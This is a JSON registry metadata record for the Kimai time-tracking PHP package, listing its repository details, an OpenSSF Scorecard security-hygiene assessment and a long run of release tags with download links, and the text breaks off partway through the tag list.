[{"id":595912,"name":"kevinpapst/kimai2","ecosystem":"packagist","description":"Kimai - Time Tracking","homepage":"","licenses":"AGPL-3.0-or-later","normalized_licenses":["AGPL-3.0-or-later"],"repository_url":"https://github.com/kimai/kimai","keywords_array":[],"namespace":"kevinpapst","versions_count":211,"first_release_published_at":"2018-01-10T22:20:36.000Z","latest_release_published_at":"2026-08-11T15:14:38.000Z","latest_release_number":"2.65.0","last_synced_at":"2026-09-01T12:18:24.579Z","created_at":"2022-04-07T09:55:21.475Z","updated_at":"2026-09-01T13:22:08.568Z","registry_url":"https://packagist.org/packages/kevinpapst/kimai2#","install_command":"composer require kevinpapst/kimai2","documentation_url":null,"metadata":{"funding":[{"url":"https://github.com/kevinpapst","type":"github"},{"url":"https://opencollective.com/kimai","type":"open_collective"}]},"repo_metadata":{"id":37451210,"uuid":"71485542","full_name":"kimai/kimai","owner":"kimai","description":"Kimai is the #1 open-source time-tracking application. From freelancers to companies and organisations - everyone can manage timesheets, generate reports, create invoices and so much more... Web-based multi-user application, available as On-Premise or SaaS version: https://www.kimai.org","archived":false,"fork":false,"pushed_at":"2026-08-25T03:32:59.000Z","size":60074,"stargazers_count":4946,"open_issues_count":342,"forks_count":834,"subscribers_count":58,"default_branch":"main","last_synced_at":"2026-08-26T22:13:35.563Z","etag":null,"topics":["doctrine","invoice","invoicing","kimai","multilanguage","php","self-hosted","symfony","tabler","time-tracker","time-tracking","timetracker","timetracking","timetrackingapp","twig"],"latest_commit_sha":null,"homepage":"https://www.kimai.org","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/kimai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["kevinpapst"],"open_collective":"kimai"}},"created_at":"2016-10-20T17:06:34.000Z","updated_at":"2026-08-26T18:27:35.000Z","dependencies_parsed_at":"2026-08-12T01:39:31.924Z","dependency_job_id":null,"html_url":"https://github.com/kimai/kimai","commit_stats":{"total_commits":1485,"total_committers":77,"mean_commits":"19.285714285714285","dds":0.2767676767676768,"last_synced_commit":"84a0ca5ce6673dc45660dbf0c0d8968b9a609b70"},"previous_names":["kevinpapst/kimai2"],"tags_count":211,"template":false,"template_full_name":null,"purl":"pkg:github/kimai/kimai","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kimai","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/sbom","scorecard":{"id":557280,"data":{"date":"2025-08-11","repo":{"name":"github.com/kimai/kimai","commit":"023048e7c01217da969a516542a576ea277aaf53"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Code-Review","score":3,"reason":"Found 10/30 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"27 commit(s) and 10 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":-1,"reason":"no workflows found","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":-1,"reason":"No tokens found","details":null,"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: GNU Affero General Public License v3.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: containerImage not pinned by hash: Dockerfile:37","Warn: containerImage not pinned by hash: Dockerfile:44","Warn: containerImage not pinned by hash: Dockerfile:80","Warn: containerImage not pinned by hash: Dockerfile:91","Warn: containerImage not pinned by hash: Dockerfile:97","Warn: containerImage not pinned by hash: Dockerfile:101","Warn: containerImage not pinned by hash: Dockerfile:106","Warn: containerImage not pinned by hash: Dockerfile:110","Warn: containerImage not pinned by hash: Dockerfile:114","Warn: containerImage not pinned by hash: Dockerfile:118","Warn: containerImage not pinned by hash: Dockerfile:125","Warn: containerImage not pinned by hash: Dockerfile:157","Warn: containerImage not pinned by hash: Dockerfile:185","Warn: containerImage not pinned by hash: Dockerfile:224","Warn: containerImage not pinned by hash: Dockerfile:238","Warn: containerImage not pinned by hash: Dockerfile:285","Warn: containerImage not pinned by hash: Dockerfile:306","Info:   0 out of  17 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-20T12:42:24.169Z","repository_id":37451210,"created_at":"2025-08-20T12:42:24.169Z","updated_at":"2025-08-20T12:42:24.169Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36948025,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-27T02:00:07.166Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"kimai","name":"Kimai - Time Tracking Software","uuid":"981996","kind":"organization","description":"A free and open-source time-tracker built with PHP","email":null,"website":"https://www.kimai.org","location":"Austria","twitter":"kimai_org","company":null,"icon_url":"https://avatars.githubusercontent.com/u/981996?v=4","repositories_count":10,"last_synced_at":"2023-09-08T03:15:23.399Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/kimai","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2022-11-08T03:38:25.697Z","updated_at":"2023-09-08T03:15:24.435Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kimai","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kimai/repositories"},"tags":[{"name":"2.65.0","sha":"fd8989e9011aeff0a9ed573c294707140b4401b0","kind":"commit","published_at":"2026-08-11T15:14:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.65.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.65.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.65.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.65.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.65.0/manifests"},{"name":"2.64.0","sha":"1ee41264d797980296cac7dacf900c4b964c59fc","kind":"commit","published_at":"2026-08-09T17:07:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.64.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.64.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.64.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.64.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.64.0/manifests"},{"name":"2.63.0","sha":"2e1c9e48b437cce69dcd52d0083862237ce0b321","kind":"commit","published_at":"2026-08-03T11:36:14.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.63.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.63.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.63.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.63.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.63.0/manifests"},{"name":"2.62.0","sha":"0164f2ba8f3c975c266c5bbb40a2a3789e583c4c","kind":"commit","published_at":"2026-07-09T20:16:05.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.62.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.62.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.62.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.62.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.62.0/manifests"},{"name":"2.61.0","sha":"368a8e48efac4ea2d644b466a8b19eb2fd68d31f","kind":"commit","published_at":"2026-06-20T11:06:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.61.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.61.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.61.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.61.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.61.0/manifests"},{"name":"2.60.0","sha":"23f5628cc936f13e093a7df770a1bf43e3830661","kind":"commit","published_at":"2026-06-10T15:44:56.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.60.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.60.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.60.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.60.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.60.0/manifests"},{"name":"2.59.0","sha":"8ed666c0eb03c97aa82df109edb8929566fe5f99","kind":"commit","published_at":"2026-06-05T17:10:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.59.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.59.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.59.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.59.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.59.0/manifests"},{"name":"2.58.0","sha":"31a8f887a5cda517db7b4320a7ad997c87d08601","kind":"commit","published_at":"2026-05-25T13:39:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.58.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.58.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.58.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.58.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.58.0/manifests"},{"name":"2.57.0","sha":"09b7adaa062d4843afa882fc1343800467a6125d","kind":"commit","published_at":"2026-05-21T20:22:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.57.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.57.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.57.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.57.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.57.0/manifests"},{"name":"2.56.0","sha":"ebb54e9c0c5c6ae342bcff3bf63beebfda838cfd","kind":"commit","published_at":"2026-04-27T15:10:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.56.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.56.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.56.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.56.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.56.0/manifests"},{"name":"2.55.0","sha":"372c676afa0f4b6343cb0cc0db9afe89360e8292","kind":"commit","published_at":"2026-04-16T20:06:53.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.55.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.55.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.55.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.55.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.55.0/manifests"},{"name":"2.54.0","sha":"d456cd3ce2ec5d2599d6cce9490f01f67332d77f","kind":"commit","published_at":"2026-04-13T19:23:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.54.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.54.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.54.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.54.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.54.0/manifests"},{"name":"2.53.0","sha":"999d820d4ca1fb3bb83395ad9bfc73d73b5eb04a","kind":"commit","published_at":"2026-04-10T16:09:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.53.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.53.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.53.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.53.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.53.0/manifests"},{"name":"2.52.0","sha":"cad9f587033945bfc748c318ec9d2ea0dba4f0ce","kind":"commit","published_at":"2026-03-16T16:44:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.52.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.52.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.52.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.52.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.52.0/manifests"},{"name":"2.51.0","sha":"a0601c8cb28fed1cca19051a8272425069ab758f","kind":"commit","published_at":"2026-03-01T15:53:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.51.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.51.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.51.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.51.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.51.0/manifests"},{"name":"2.50.0","sha":"4154de6bd18c2c7febbffd24669d0b2a3d16fa29","kind":"commit","published_at":"2026-02-25T20:07:40.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.50.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.50.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.50.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.50.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.50.0/manifests"},{"name":"2.49.0","sha":"ff6918fcab83ae2bc952d02bb2592765b6e19ccd","kind":"commit","published_at":"2026-02-15T20:31:06.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.49.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.49.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.49.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.49.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.49.0/manifests"},{"name":"2.48.0","sha":"3f184e42c80b21b29f39d629e5df0ff4c1277383","kind":"commit","published_at":"2026-01-31T09:28:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.48.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.48.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.48.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.48.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.48.0/manifests"},{"name":"2.47.0","sha":"d429c566876f3ac384e46270fc15c0cd29886401","kind":"commit","published_at":"2026-01-25T08:51:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.47.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.47.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.47.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.47.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.47.0/manifests"},{"name":"2.46.0","sha":"6a86afb5fd79f6c1825060b87c09bd1909c2e86f","kind":"commit","published_at":"2026-01-06T23:59:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.46.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.46.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.46.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.46.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.46.0/manifests"},{"name":"2.45.0","sha":"9e87fc131b7bf757986afc85f18396cf75d7a7ca","kind":"commit","published_at":"2025-12-27T16:53:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.45.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.45.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.45.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.45.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.45.0/manifests"},{"name":"2.44.0","sha":"07ac6c308f1048f71d281920befc123275f6eb4e","kind":"commit","published_at":"2025-11-19T14:21:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.44.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.44.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.44.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.44.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.44.0/manifests"},{"name":"2.43.0","sha":"8a42c9640f8777055556c4776bb35325858923aa","kind":"commit","published_at":"2025-11-14T16:41:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.43.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.43.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.43.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.43.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.43.0/manifests"},{"name":"2.42.0","sha":"8e6764b67aaec9d636105893b4594815337d5245","kind":"commit","published_at":"2025-11-12T15:15:04.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.42.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.42.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.42.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.42.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.42.0/manifests"},{"name":"2.41.0","sha":"a3ef1fd1cda22c4775441a4d6ec8d3a297ba7e6a","kind":"commit","published_at":"2025-11-09T21:48:25.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.41.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.41.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.41.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.41.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.41.0/manifests"},{"name":"2.40.0","sha":"190b1dd4f36cfad0661a663bb4ec1164da83239b","kind":"commit","published_at":"2025-09-26T10:12:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.40.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.40.0/manifests"},{"name":"2.39.0","sha":"5d3e46cce2c85d112eb7f99e957c3131879f5a9c","kind":"commit","published_at":"2025-08-31T10:56:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.39.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.39.0/manifests"},{"name":"2.38.0","sha":"04331420aef0a87b9cecac1334b200686e68f84c","kind":"commit","published_at":"2025-08-08T21:25:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.38.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.38.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.38.0/manifests"},{"name":"2.37.0","sha":"dfec8071660856f1aebbaeb06ad6a6fd64be7d07","kind":"commit","published_at":"2025-07-04T14:43:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.37.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.37.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.37.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.37.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.37.0/manifests"},{"name":"2.36.1","sha":"3d8fa3af44f3402ea6a68060e939cca1f6615614","kind":"commit","published_at":"2025-06-16T16:25:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.36.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.36.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.36.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.1/manifests"},{"name":"2.36.0","sha":"da10099248bed04fb676fb9bc39bc900341ac1c0","kind":"commit","published_at":"2025-06-11T12:26:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.36.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.36.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.36.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.36.0","manifests_url":"https://repos.ecosyste.ms/api/v